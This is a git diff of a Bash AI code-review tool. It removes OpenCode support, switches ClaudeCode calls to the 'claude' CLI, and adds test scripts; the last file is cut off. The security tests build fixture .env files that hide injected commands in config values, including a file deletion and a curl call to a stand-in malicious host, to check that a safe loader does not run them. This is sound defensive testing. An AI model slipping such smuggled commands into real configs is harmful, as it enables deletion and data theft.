@@ -302,10 +285,6 @@ intelligent_ai_review() {
result=$(cat "$prompt_file" | gemini -p "$additional_prompt" -y 2>&1)
exit_code=$?
;;
- "opencode")
- result=$(opencode_code_review "$prompt_file" "$additional_prompt" 2>&1)
- exit_code=$?
- ;;
"claudecode")
result=$(claudecode_code_review "$prompt_file" "$additional_prompt" 2>&1)
exit_code=$?
@@ -343,7 +322,7 @@ intelligent_ai_review() {
# 返回: 0=成功, 1=服务不支持
# 输出: 生成的文本内容到stdout
# 复杂度: O(n) - n为提示词长度,实际受AI服务响应时间影响
-# 依赖: echo, timeout, gemini命令, call_opencode_api(), call_claudecode_api()
+# 依赖: echo, timeout, gemini命令, call_claudecode_api()
# 调用者: smart_ai_call()
# 超时处理: 使用timeout命令防止长时间等待
# 示例:
@@ -358,10 +337,6 @@ call_ai_for_generation() {
# 使用timeout防止长时间等待,重定向错误输出
echo "$prompt" | timeout "$timeout" gemini -y 2>/dev/null
;;
- "opencode")
- # 调用OpenCode API函数
- call_opencode_api "$prompt" "$timeout"
- ;;
"claudecode")
# 调用ClaudeCode API函数
call_claudecode_api "$prompt" "$timeout"
@@ -402,11 +377,6 @@ call_ai_with_error_handling() {
echo "$prompt" | timeout "$timeout" gemini -y >"$temp_stdout" 2>"$temp_stderr"
exit_code=$?
;;
- "opencode")
- # 调用OpenCode API函数,捕获输出
- call_opencode_api "$prompt" "$timeout" >"$temp_stdout" 2>"$temp_stderr"
- exit_code=$?
- ;;
"claudecode")
# 调用ClaudeCode API函数,捕获输出
call_claudecode_api "$prompt" "$timeout" >"$temp_stdout" 2>"$temp_stderr"
@@ -448,7 +418,7 @@ call_ai_with_error_handling() {
get_available_services() {
local primary_service=${1:-$(get_ai_service)}
local available_services=()
- local all_services=("gemini" "opencode" "claudecode")
+ local all_services=("gemini" "claudecode")
# 首先添加主要服务(如果可用)
if check_ai_service_available "$primary_service"; then
@@ -493,7 +463,7 @@ get_service_priority() {
echo "$priority_config"
else
# 默认优先级
- echo "gemini opencode claudecode"
+ echo "gemini claudecode"
fi
}
@@ -702,7 +672,7 @@ show_ai_service_status() {
echo ""
# 检查各个服务的可用性
- local services=("gemini" "opencode" "claudecode")
+ local services=("gemini" "claudecode")
for service in "${services[@]}"; do
if check_ai_service_available "$service"; then
echo -e " ${GREEN}✓ $service${NC} - 已安装"
@@ -718,7 +688,7 @@ show_ai_service_status() {
# 功能: 设置当前使用的AI服务
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# $2 - scope: 配置范围 (可选, 默认: "project")
# - "project": 保存到项目配置文件
# - "global": 保存到全局配置文件
@@ -729,18 +699,18 @@ show_ai_service_status() {
# 配置文件: 项目级(.ai-config) 或 全局级(~/.coderocket/ai-config)
# 示例:
# set_ai_service "gemini" "project"
-# set_ai_service "opencode" "global"
+# set_ai_service "claudecode" "global"
set_ai_service() {
local service=$1
local scope=${2:-"project"} # project 或 global
# 验证服务名称
case "$service" in
- "gemini"|"opencode"|"claudecode")
+ "gemini"|"claudecode")
;;
*)
echo -e "${RED}❌ 不支持的AI服务: $service${NC}"
- echo "支持的服务: gemini, opencode, claudecode"
+ echo "支持的服务: gemini, claudecode"
return 1
;;
esac
diff --git a/lib/api-versions.sh b/lib/api-versions.sh
index 4d26421..b42e64d 100755
--- a/lib/api-versions.sh
+++ b/lib/api-versions.sh
@@ -6,11 +6,7 @@
# API版本配置
# 这些版本号相对稳定,但可以通过环境变量覆盖
-# OpenCode API配置
-DEFAULT_OPENCODE_API_VERSION="v1"
-DEFAULT_OPENCODE_API_BASE="https://api.opencode.com"
-
-# ClaudeCode API配置
+# ClaudeCode API配置
DEFAULT_CLAUDECODE_API_VERSION="v1"
DEFAULT_CLAUDECODE_API_BASE="https://api.claudecode.com"
DEFAULT_ANTHROPIC_VERSION="2023-06-01"
@@ -19,19 +15,6 @@ DEFAULT_ANTHROPIC_VERSION="2023-06-01"
DEFAULT_GITLAB_API_VERSION="v4"
DEFAULT_GITLAB_API_BASE="https://gitlab.com/api"
-# 获取OpenCode API URL
-#
-# 功能: 获取OpenCode API的完整URL
-# 参数: 无
-# 返回: API URL字符串
-# 环境变量: OPENCODE_API_BASE, OPENCODE_API_VERSION
-# 示例: get_opencode_api_url # 返回 "https://api.opencode.com/v1"
-get_opencode_api_url() {
- local api_base="${OPENCODE_API_BASE:-$DEFAULT_OPENCODE_API_BASE}"
- local api_version="${OPENCODE_API_VERSION:-$DEFAULT_OPENCODE_API_VERSION}"
- echo "${api_base}/${api_version}"
-}
-
# 获取ClaudeCode API URL
#
# 功能: 获取ClaudeCode API的完整URL
@@ -76,14 +59,11 @@ get_gitlab_api_url() {
# 返回: 无 (直接输出到stdout)
show_api_versions() {
echo "=== API版本配置 ==="
- echo "OpenCode API: $(get_opencode_api_url)"
echo "ClaudeCode API: $(get_claudecode_api_url)"
echo "Anthropic Version: $(get_anthropic_version)"
echo "GitLab API: $(get_gitlab_api_url)"
echo ""
echo "=== 环境变量覆盖 ==="
- echo "OPENCODE_API_BASE=${OPENCODE_API_BASE:-未设置}"
- echo "OPENCODE_API_VERSION=${OPENCODE_API_VERSION:-未设置}"
echo "CLAUDECODE_API_BASE=${CLAUDECODE_API_BASE:-未设置}"
echo "CLAUDECODE_API_VERSION=${CLAUDECODE_API_VERSION:-未设置}"
echo "ANTHROPIC_VERSION=${ANTHROPIC_VERSION:-未设置}"
@@ -97,9 +77,6 @@ main() {
"show"|"list")
show_api_versions
;;
- "opencode")
- get_opencode_api_url
- ;;
"claudecode")
get_claudecode_api_url
;;
@@ -116,7 +93,6 @@ main() {
echo ""
echo "命令:"
echo " show - 显示所有API版本配置"
- echo " opencode - 获取OpenCode API URL"
echo " claudecode - 获取ClaudeCode API URL"
echo " anthropic - 获取Anthropic API版本"
echo " gitlab - 获取GitLab API URL"
diff --git a/lib/claudecode-service.sh b/lib/claudecode-service.sh
index b6cfb8f..bb64f1b 100755
--- a/lib/claudecode-service.sh
+++ b/lib/claudecode-service.sh
@@ -40,7 +40,7 @@ get_claudecode_config() {
# 检查ClaudeCode CLI是否可用
check_claudecode_cli() {
- if command -v claudecode &> /dev/null; then
+ if command -v claude &> /dev/null; then
return 0
else
return 1
@@ -86,8 +86,8 @@ configure_claudecode_api() {
# 配置ClaudeCode CLI
if check_claudecode_cli; then
- claudecode config set api_key "$api_key"
- claudecode config set api_url "$api_url"
+ claude config set api_key "$api_key"
+ claude config set api_url "$api_url"
echo -e "${GREEN}✓ ClaudeCode API 配置完成${NC}"
return 0
else
@@ -111,7 +111,7 @@ call_claudecode_api() {
# 如果有CLI工具,优先使用CLI
if check_claudecode_cli; then
- echo "$prompt" | timeout "$timeout" claudecode chat --model "$model" --yes 2>/dev/null
+ echo "$prompt" | timeout "$timeout" claude chat --model "$model" --yes 2>/dev/null
return $?
fi
diff --git a/lib/mr-generator.sh b/lib/mr-generator.sh
index 9d0a3b6..ff546d1 100755
--- a/lib/mr-generator.sh
+++ b/lib/mr-generator.sh
@@ -18,7 +18,7 @@ NC='\033[0m' # No Color
# 返回: 无 (直接输出到stdout)
# 复杂度: O(1) - 常数时间模式匹配
# 依赖: bash正则表达式匹配
-# 调用者: opencode_generate_mr_title(), claudecode_generate_mr_title()
+# 调用者: claudecode_generate_mr_title()
# 模式匹配: 支持feature/, fix/, hotfix/, refactor/, docs/, test/前缀
# 示例:
# generate_fallback_mr_title "feature/user-login" # 输出: "✨ Feature: user-login"
@@ -53,7 +53,7 @@ generate_fallback_mr_title() {
# 返回: 无 (直接输出到stdout)
# 复杂度: O(n) - n为提交数量
# 依赖: echo命令, while循环, IFS分隔符处理
-# 调用者: opencode_generate_mr_description(), claudecode_generate_mr_description()
+# 调用者: claudecode_generate_mr_description()
# 输出格式: Markdown格式的MR描述,包含变更概述和检查清单
# 示例:
# generate_fallback_mr_description "abc123|feat: add login|user|2024-01-01" "1"
@@ -91,7 +91,7 @@ generate_fallback_mr_description() {
# 返回: 无 (直接输出到stdout)
# 复杂度: O(1) - 常数时间模板生成
# 依赖: cat命令, here document (< 去除首尾空白 -> 长度检查 -> 截断处理 -> 空值检查
# 示例:
# clean_title=$(clean_and_validate_title " 很长的标题内容... " 20)
diff --git a/lib/opencode-service.sh b/lib/opencode-service.sh
deleted file mode 100755
index 587fd08..0000000
--- a/lib/opencode-service.sh
+++ /dev/null
@@ -1,338 +0,0 @@
-#!/bin/bash
-
-# OpenCode AI Service Integration
-# OpenCode AI服务集成模块
-
-# 颜色定义
-RED='\033[0;31m'
-GREEN='\033[0;32m'
-YELLOW='\033[1;33m'
-BLUE='\033[0;34m'
-NC='\033[0m' # No Color
-
-# 导入配置管理和共享模块
-SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
-source "$SCRIPT_DIR/ai-config.sh"
-source "$SCRIPT_DIR/mr-generator.sh"
-source "$SCRIPT_DIR/api-versions.sh"
-
-# OpenCode 默认配置
-DEFAULT_OPENCODE_MODEL="opencode-pro"
-DEFAULT_TIMEOUT=30
-
-# 获取OpenCode API URL(使用api-versions.sh中的配置)
-get_default_opencode_api_url() {
- get_opencode_api_url
-}
-
-# 获取OpenCode配置
-get_opencode_config() {
- local config_key=$1
- local default_value=$2
-
- local value=$(get_config_value "$config_key")
- if [ -z "$value" ]; then
- value="$default_value"
- fi
-
- echo "$value"
-}
-
-# 检查OpenCode CLI是否可用
-check_opencode_cli() {
- if command -v opencode &> /dev/null; then
- return 0
- else
- return 1
- fi
-}
-
-# 安装OpenCode CLI
-install_opencode_cli() {
- echo -e "${YELLOW}→ 安装 OpenCode CLI...${NC}"
-
- if check_opencode_cli; then
- echo -e "${GREEN}✓ OpenCode CLI 已安装${NC}"
- return 0
- fi
-
- # 尝试通过npm安装
- if command -v npm &> /dev/null; then
- if npm install -g @opencode/cli; then
- echo -e "${GREEN}✓ OpenCode CLI 安装成功${NC}"
- return 0
- else
- echo -e "${RED}✗ OpenCode CLI 安装失败${NC}"
- return 1
- fi
- else
- echo -e "${RED}✗ 需要安装 Node.js 和 npm${NC}"
- return 1
- fi
-}
-
-# 配置OpenCode API
-configure_opencode_api() {
- local api_key=$(get_opencode_config "OPENCODE_API_KEY")
- local api_url=$(get_opencode_config "OPENCODE_API_URL" "$(get_default_opencode_api_url)")
-
- if [ -z "$api_key" ]; then
- echo -e "${RED}❌ 未设置 OPENCODE_API_KEY${NC}"
- echo "请设置 OpenCode API 密钥:"
- echo " 方式1: 环境变量 export OPENCODE_API_KEY='your_key'"
- echo " 方式2: 配置文件 ./lib/ai-config.sh set OPENCODE_API_KEY 'your_key'"
- return 1
- fi
-
- # 配置OpenCode CLI
- if check_opencode_cli; then
- opencode config set api_key "$api_key"
- opencode config set api_url "$api_url"
- echo -e "${GREEN}✓ OpenCode API 配置完成${NC}"
- return 0
- else
- echo -e "${RED}❌ OpenCode CLI 未安装${NC}"
- return 1
- fi
-}
-
-# 调用OpenCode API进行文本生成
-call_opencode_api() {
- local prompt=$1
- local timeout=${2:-$DEFAULT_TIMEOUT}
- local model=$(get_opencode_config "OPENCODE_MODEL" "$DEFAULT_OPENCODE_MODEL")
- local api_key=$(get_opencode_config "OPENCODE_API_KEY")
- local api_url=$(get_opencode_config "OPENCODE_API_URL" "$(get_default_opencode_api_url)")
-
- if [ -z "$api_key" ]; then
- echo -e "${RED}❌ 未设置 OPENCODE_API_KEY${NC}" >&2
- return 1
- fi
-
- # 如果有CLI工具,优先使用CLI
- if check_opencode_cli; then
- echo "$prompt" | timeout "$timeout" opencode generate --model "$model" --auto-confirm 2>/dev/null
- return $?
- fi
-
- # 否则使用curl直接调用API
- # 安全地构建JSON,避免特殊字符问题
- local escaped_prompt=$(printf '%s' "$prompt" | python3 -c "import sys, json; print(json.dumps(sys.stdin.read()))")
- local json_payload=$(cat </dev/null)
-
- if [ $? -eq 0 ] && [ ! -z "$response" ]; then
- # 解析JSON响应,提取生成的文本,增强错误处理
- echo "$response" | python3 -c "
-import sys, json
-try:
- data = json.load(sys.stdin)
- # 检查API错误
- if 'error' in data:
- print('', file=sys.stderr)
- sys.exit(1)
- # 尝试多种响应格式
- if 'choices' in data and len(data['choices']) > 0:
- if 'text' in data['choices'][0]:
- print(data['choices'][0]['text'].strip())
- elif 'message' in data['choices'][0] and 'content' in data['choices'][0]['message']:
- print(data['choices'][0]['message']['content'].strip())
- elif 'content' in data:
- print(data['content'].strip())
- elif 'text' in data:
- print(data['text'].strip())
- else:
- print('', file=sys.stderr)
- sys.exit(1)
-except json.JSONDecodeError:
- print('', file=sys.stderr)
- sys.exit(1)
-except Exception as e:
- print('', file=sys.stderr)
- sys.exit(1)
-" 2>/dev/null
- return $?
- else
- return 1
- fi
-}
-
-# OpenCode代码审查
-opencode_code_review() {
- local prompt_file=$1
- local additional_prompt=$2
-
- if [ ! -f "$prompt_file" ]; then
- echo -e "${RED}❌ 提示词文件不存在: $prompt_file${NC}" >&2
- return 1
- fi
-
- # 读取提示词文件内容
- local prompt_content=$(cat "$prompt_file")
-
- # 组合完整提示词
- local full_prompt="$prompt_content
-
-$additional_prompt"
-
- # 调用OpenCode API
- call_opencode_api "$full_prompt"
-}
-
-# 生成MR标题
-opencode_generate_mr_title() {
- local commits=$1
- local branch_name=$2
-
- # 验证提交格式
- if ! validate_commits_format "$commits"; then
- generate_fallback_mr_title "$branch_name"
- return
- fi
-
- # 准备提交列表
- local commit_list=$(prepare_commit_list "$commits")
- local prompt=$(get_mr_title_prompt "$commit_list")
-
- local result=$(call_opencode_api "$prompt" 15)
-
- # 清理和验证结果
- if [ ! -z "$result" ]; then
- local cleaned_title=$(clean_and_validate_title "$result")
- if [ $? -eq 0 ]; then
- echo "$cleaned_title"
- return
- fi
- fi
-
- # 使用备用方案
- generate_fallback_mr_title "$branch_name"
-}
-
-# 生成MR描述
-opencode_generate_mr_description() {
- local commits=$1
- local commit_count=$2
-
- # 验证提交格式
- if ! validate_commits_format "$commits"; then
- generate_fallback_mr_description "$commits" "$commit_count"
- return
- fi
-
- # 准备提交列表
- local commit_list=$(prepare_commit_list "$commits")
- local prompt=$(get_mr_description_prompt "$commit_list")
-
- local result=$(call_opencode_api "$prompt" 30)
-
- if [ ! -z "$result" ]; then
- add_checklist_to_description "$result"
- else
- # 使用备用方案
- generate_fallback_mr_description "$commits" "$commit_count"
- fi
-}
-
-# 测试OpenCode服务
-test_opencode_service() {
- echo -e "${BLUE}=== 测试 OpenCode 服务 ===${NC}"
-
- # 检查CLI
- if check_opencode_cli; then
- echo -e "${GREEN}✓ OpenCode CLI 已安装${NC}"
- else
- echo -e "${YELLOW}⚠ OpenCode CLI 未安装${NC}"
- echo "安装命令: npm install -g @opencode/cli"
- fi
-
- # 检查配置
- local api_key=$(get_opencode_config "OPENCODE_API_KEY")
- if [ ! -z "$api_key" ]; then
- echo -e "${GREEN}✓ API Key 已配置${NC}"
- else
- echo -e "${RED}❌ API Key 未配置${NC}"
- return 1
- fi
-
- # 测试API调用
- echo -e "${YELLOW}→ 测试API调用...${NC}"
- local test_result=$(call_opencode_api "请回复'OpenCode服务正常'")
-
- if [ ! -z "$test_result" ]; then
- echo -e "${GREEN}✓ API调用成功${NC}"
- echo "响应: $test_result"
- return 0
- else
- echo -e "${RED}❌ API调用失败${NC}"
- return 1
- fi
-}
-
-# 主函数
-main() {
- case "${1:-help}" in
- "install")
- install_opencode_cli
- ;;
- "config")
- configure_opencode_api
- ;;
- "test")
- test_opencode_service
- ;;
- "review")
- if [ $# -lt 3 ]; then
- echo "用法: $0 review "
- return 1
- fi
- opencode_code_review "$2" "$3"
- ;;
- "mr-title")
- if [ $# -lt 3 ]; then
- echo "用法: $0 mr-title "
- return 1
- fi
- opencode_generate_mr_title "$2" "$3"
- ;;
- "mr-description")
- if [ $# -lt 3 ]; then
- echo "用法: $0 mr-description "
- return 1
- fi
- opencode_generate_mr_description "$2" "$3"
- ;;
- "help"|*)
- echo "OpenCode AI 服务集成工具"
- echo ""
- echo "用法: $0 <命令> [参数...]"
- echo ""
- echo "命令:"
- echo " install - 安装 OpenCode CLI"
- echo " config - 配置 OpenCode API"
- echo " test - 测试 OpenCode 服务"
- echo " review - 代码审查"
- echo " mr-title - 生成MR标题"
- echo " mr-description - 生成MR描述"
- echo " help - 显示帮助信息"
- ;;
- esac
-}
-
-# 如果直接执行此脚本,运行主函数
-if [ "${BASH_SOURCE[0]}" = "${0}" ]; then
- main "$@"
-fi
diff --git a/tests/run_tests.sh b/tests/run_tests.sh
new file mode 100755
index 0000000..901f775
--- /dev/null
+++ b/tests/run_tests.sh
@@ -0,0 +1,155 @@
+#!/bin/bash
+
+# CodeRocket CLI 测试套件
+# 基本的单元测试和集成测试
+
+# 颜色定义
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m'
+
+# 测试计数器
+TESTS_RUN=0
+TESTS_PASSED=0
+TESTS_FAILED=0
+
+# 测试框架函数
+assert_equals() {
+ local expected="$1"
+ local actual="$2"
+ local test_name="$3"
+
+ TESTS_RUN=$((TESTS_RUN + 1))
+
+ if [ "$expected" = "$actual" ]; then
+ echo -e "${GREEN}✓ $test_name${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+ else
+ echo -e "${RED}✗ $test_name${NC}"
+ echo -e "${RED} Expected: '$expected'${NC}"
+ echo -e "${RED} Actual: '$actual'${NC}"
+ TESTS_FAILED=$((TESTS_FAILED + 1))
+ fi
+}
+
+assert_file_exists() {
+ local file_path="$1"
+ local test_name="$2"
+
+ TESTS_RUN=$((TESTS_RUN + 1))
+
+ if [ -f "$file_path" ]; then
+ echo -e "${GREEN}✓ $test_name${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+ else
+ echo -e "${RED}✗ $test_name${NC}"
+ echo -e "${RED} File not found: $file_path${NC}"
+ TESTS_FAILED=$((TESTS_FAILED + 1))
+ fi
+}
+
+assert_command_exists() {
+ local command="$1"
+ local test_name="$2"
+
+ TESTS_RUN=$((TESTS_RUN + 1))
+
+ if command -v "$command" &> /dev/null; then
+ echo -e "${GREEN}✓ $test_name${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+ else
+ echo -e "${RED}✗ $test_name${NC}"
+ echo -e "${RED} Command not found: $command${NC}"
+ TESTS_FAILED=$((TESTS_FAILED + 1))
+ fi
+}
+
+# 获取项目根目录
+PROJECT_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+echo "🧪 CodeRocket CLI 测试套件"
+echo "=========================="
+echo "项目路径: $PROJECT_ROOT"
+echo ""
+
+# 测试1: 核心文件存在性检查
+echo "📁 测试核心文件存在性..."
+assert_file_exists "$PROJECT_ROOT/bin/coderocket" "主执行文件存在"
+assert_file_exists "$PROJECT_ROOT/install.sh" "安装脚本存在"
+assert_file_exists "$PROJECT_ROOT/install-hooks.sh" "Hooks安装脚本存在"
+assert_file_exists "$PROJECT_ROOT/lib/ai-service-manager.sh" "AI服务管理器存在"
+assert_file_exists "$PROJECT_ROOT/githooks/post-commit" "Post-commit hook存在"
+assert_file_exists "$PROJECT_ROOT/.env.example" "环境变量示例文件存在"
+
+# 测试2: 脚本语法检查
+echo ""
+echo "🔍 测试脚本语法..."
+if bash -n "$PROJECT_ROOT/bin/coderocket" 2>/dev/null; then
+ assert_equals "valid" "valid" "主执行文件语法检查"
+else
+ assert_equals "valid" "invalid" "主执行文件语法检查"
+fi
+
+if bash -n "$PROJECT_ROOT/lib/ai-service-manager.sh" 2>/dev/null; then
+ assert_equals "valid" "valid" "AI服务管理器语法检查"
+else
+ assert_equals "valid" "invalid" "AI服务管理器语法检查"
+fi
+
+# 测试3: 配置函数测试
+echo ""
+echo "⚙️ 测试配置函数..."
+
+# 导入AI服务管理器进行测试
+source "$PROJECT_ROOT/lib/ai-service-manager.sh"
+
+# 测试默认AI服务
+default_service=$(get_ai_service)
+assert_equals "gemini" "$default_service" "默认AI服务配置"
+
+# 测试AI服务可用性检查函数
+if command -v which &> /dev/null; then
+ assert_equals "function_exists" "function_exists" "AI服务可用性检查函数存在"
+else
+ assert_equals "function_exists" "function_missing" "AI服务可用性检查函数存在"
+fi
+
+# 测试4: Git仓库检测功能
+echo ""
+echo "📂 测试Git仓库检测..."
+
+# 导入主脚本函数
+source "$PROJECT_ROOT/bin/coderocket"
+
+# 测试Git仓库检测函数
+if git rev-parse --git-dir > /dev/null 2>&1; then
+ if is_git_repo; then
+ assert_equals "true" "true" "Git仓库检测功能"
+ else
+ assert_equals "true" "false" "Git仓库检测功能"
+ fi
+else
+ # 如果不在Git仓库中,测试函数应该返回false
+ if ! is_git_repo; then
+ assert_equals "false" "false" "非Git仓库检测功能"
+ else
+ assert_equals "false" "true" "非Git仓库检测功能"
+ fi
+fi
+
+# 测试结果汇总
+echo ""
+echo "📊 测试结果汇总"
+echo "================"
+echo -e "总计测试: $TESTS_RUN"
+echo -e "${GREEN}通过: $TESTS_PASSED${NC}"
+echo -e "${RED}失败: $TESTS_FAILED${NC}"
+
+if [ $TESTS_FAILED -eq 0 ]; then
+ echo -e "${GREEN}🎉 所有测试通过!${NC}"
+ exit 0
+else
+ echo -e "${RED}❌ 有 $TESTS_FAILED 个测试失败${NC}"
+ exit 1
+fi
diff --git a/tests/security_tests.sh b/tests/security_tests.sh
new file mode 100755
index 0000000..b506ef7
--- /dev/null
+++ b/tests/security_tests.sh
@@ -0,0 +1,162 @@
+#!/bin/bash
+
+# 配置安全测试
+# 测试环境变量加载的安全性
+
+# 颜色定义
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m'
+
+# 获取项目根目录
+PROJECT_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+echo "🔒 配置安全测试"
+echo "=============="
+
+# 创建测试用的临时目录
+TEST_DIR="/tmp/coderocket_security_test"
+mkdir -p "$TEST_DIR"
+
+# 测试1: 恶意配置文件注入测试
+echo "🔍 测试1: 配置文件注入防护..."
+
+# 创建包含恶意代码的配置文件
+cat > "$TEST_DIR/.env" << 'EOF'
+# 正常配置
+AI_SERVICE=gemini
+GITLAB_API_URL=https://gitlab.com/api/v4
+
+# 恶意代码注入尝试
+AI_TIMEOUT=30; rm -rf /tmp/test_file; echo "malicious_code_executed"
+GEMINI_API_KEY=key123; curl http://malicious.com/steal_data
+
+# 包含等号的正常值
+COMPLEX_VALUE=key=value=test
+EOF
+
+# 创建测试文件来验证是否被删除
+touch /tmp/test_file
+
+# 导入安全的环境变量加载函数
+source "$PROJECT_ROOT/install-hooks.sh"
+
+# 测试安全加载函数
+echo " - 测试安全的环境变量加载..."
+
+# 在当前目录测试
+cd "$TEST_DIR"
+safe_load_env "$TEST_DIR/.env"
+
+# 检查恶意代码是否被执行
+if [ -f "/tmp/test_file" ]; then
+ echo -e " ${GREEN}✓ 恶意代码未被执行(文件仍存在)${NC}"
+else
+ echo -e " ${RED}✗ 恶意代码被执行(文件被删除)${NC}"
+fi
+
+# 检查网络请求是否被阻止(通过检查进程)
+if ! pgrep -f "curl.*malicious.com" > /dev/null; then
+ echo -e " ${GREEN}✓ 恶意网络请求未被执行${NC}"
+else
+ echo -e " ${RED}✗ 恶意网络请求被执行${NC}"
+fi
+
+# 检查正常配置是否被正确加载
+if [ "$AI_SERVICE" = "gemini" ]; then
+ echo -e " ${GREEN}✓ 正常配置被正确加载${NC}"
+else
+ echo -e " ${RED}✗ 正常配置加载失败${NC}"
+fi
+
+# 检查包含等号的值是否被正确处理
+if [ "$COMPLEX_VALUE" = "key=value=test" ]; then
+ echo -e " ${GREEN}✓ 包含等号的值被正确处理${NC}"
+else
+ echo -e " ${RED}✗ 包含等号的值处理错误: '$COMPLEX_VALUE'${NC}"
+fi
+
+# 测试2: 配置文件权限检查
+echo ""
+echo "🔍 测试2: 配置文件权限检查..."
+
+# 创建权限不安全的配置文件
+cat > "$TEST_DIR/.env_unsafe" << 'EOF'
+AI_SERVICE=gemini
+GEMINI_API_KEY=unsafe_key
+EOF
+
+# 设置不安全的权限(全局可读写)
+chmod 666 "$TEST_DIR/.env_unsafe"
+
+# 检查是否有工具来检测不安全的权限
+if [ -f "$TEST_DIR/.env_unsafe" ]; then
+ file_perms=$(stat -f "%A" "$TEST_DIR/.env_unsafe" 2>/dev/null || stat -c "%a" "$TEST_DIR/.env_unsafe" 2>/dev/null)
+ if [ "$file_perms" = "666" ]; then
+ echo -e " ${YELLOW}⚠ 检测到不安全的配置文件权限: $file_perms${NC}"
+ echo -e " ${YELLOW} 建议: 配置文件权限应设置为 600 或 644${NC}"
+ fi
+fi
+
+# 测试3: 环境变量过滤测试
+echo ""
+echo "🔍 测试3: 环境变量过滤测试..."
+
+# 创建包含不同类型变量的配置文件
+cat > "$TEST_DIR/.env_filter" << 'EOF'
+# 应该被加载的变量
+AI_SERVICE=test_service
+GITLAB_TOKEN=test_token
+GEMINI_API_KEY=test_key
+CLAUDECODE_MODEL=test_model
+REVIEW_TIMING=post-commit
+
+# 不应该被加载的变量
+PATH=/malicious/path
+HOME=/tmp/fake_home
+SHELL=/bin/malicious_shell
+RANDOM_VAR=should_not_load
+EOF
+
+# 记录原始变量
+ORIGINAL_PATH="$PATH"
+ORIGINAL_HOME="$HOME"
+
+# 加载配置
+safe_load_env "$TEST_DIR/.env_filter"
+
+# 检查只有允许的变量被加载
+if [ "$AI_SERVICE" = "test_service" ]; then
+ echo -e " ${GREEN}✓ AI_SERVICE 被正确加载${NC}"
+else
+ echo -e " ${RED}✗ AI_SERVICE 加载失败${NC}"
+fi
+
+# 检查系统变量没有被覆盖
+if [ "$PATH" = "$ORIGINAL_PATH" ]; then
+ echo -e " ${GREEN}✓ PATH 变量未被恶意覆盖${NC}"
+else
+ echo -e " ${RED}✗ PATH 变量被恶意覆盖${NC}"
+fi
+
+if [ "$HOME" = "$ORIGINAL_HOME" ]; then
+ echo -e " ${GREEN}✓ HOME 变量未被恶意覆盖${NC}"
+else
+ echo -e " ${RED}✗ HOME 变量被恶意覆盖${NC}"
+fi
+
+# 检查随机变量没有被加载
+if [ -z "$RANDOM_VAR" ]; then
+ echo -e " ${GREEN}✓ 随机变量被正确过滤${NC}"
+else
+ echo -e " ${RED}✗ 随机变量未被过滤: $RANDOM_VAR${NC}"
+fi
+
+# 清理测试文件
+echo ""
+echo "🧹 清理测试文件..."
+rm -rf "$TEST_DIR"
+rm -f /tmp/test_file
+
+echo -e "${GREEN}🎉 配置安全测试完成${NC}"
diff --git a/tests/security_tests_simple.sh b/tests/security_tests_simple.sh
new file mode 100755
index 0000000..40dced4
--- /dev/null
+++ b/tests/security_tests_simple.sh
@@ -0,0 +1,170 @@
+#!/bin/bash
+
+# 简化的配置安全测试
+# 直接测试安全函数而不导入整个安装脚本
+
+# 颜色定义
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m'
+
+echo "🔒 配置安全测试(简化版)"
+echo "======================="
+
+# 测试计数器
+TESTS_RUN=0
+TESTS_PASSED=0
+
+# 定义安全的环境变量加载函数(复制自install-hooks.sh)
+safe_load_env() {
+ local env_file="$1"
+ if [ -f "$env_file" ]; then
+ while read -r line || [ -n "$line" ]; do
+ # 跳过注释和空行
+ [[ $line =~ ^[[:space:]]*# ]] && continue
+ [[ -z $line ]] && continue
+
+ # 分割键值对
+ local key="${line%%=*}"
+ local value="${line#*=}"
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "$key=$value"
+ fi
+ done < "$env_file" 2>/dev/null
+ fi
+}
+
+# 创建测试用的临时目录
+TEST_DIR="/tmp/coderocket_security_test"
+mkdir -p "$TEST_DIR"
+
+echo "🔍 测试1: 恶意代码注入防护..."
+
+# 创建包含恶意代码的配置文件
+cat > "$TEST_DIR/.env" << 'EOF'
+# 正常配置
+AI_SERVICE=gemini
+GITLAB_API_URL=https://gitlab.com/api/v4
+
+# 恶意代码注入尝试(这些不应该被执行)
+AI_TIMEOUT=30; rm -rf /tmp/test_file; echo "malicious_code_executed"
+GEMINI_API_KEY=key123; curl http://malicious.com/steal_data
+
+# 包含等号的正常值
+COMPLEX_VALUE=key=value=test
+EOF
+
+# 创建测试文件来验证是否被删除
+touch /tmp/test_file
+
+# 测试安全加载函数
+echo " - 测试安全的环境变量加载..."
+safe_load_env "$TEST_DIR/.env"
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查恶意代码是否被执行
+if [ -f "/tmp/test_file" ]; then
+ echo -e " ${GREEN}✓ 恶意代码未被执行(文件仍存在)${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ 恶意代码被执行(文件被删除)${NC}"
+fi
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查正常配置是否被正确加载
+if [ "$AI_SERVICE" = "gemini" ]; then
+ echo -e " ${GREEN}✓ 正常配置被正确加载${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ 正常配置加载失败: '$AI_SERVICE'${NC}"
+fi
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查包含等号的值是否被正确处理
+if [ "$COMPLEX_VALUE" = "key=value=test" ]; then
+ echo -e " ${GREEN}✓ 包含等号的值被正确处理${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ 包含等号的值处理错误: '$COMPLEX_VALUE'${NC}"
+fi
+
+echo ""
+echo "🔍 测试2: 环境变量过滤测试..."
+
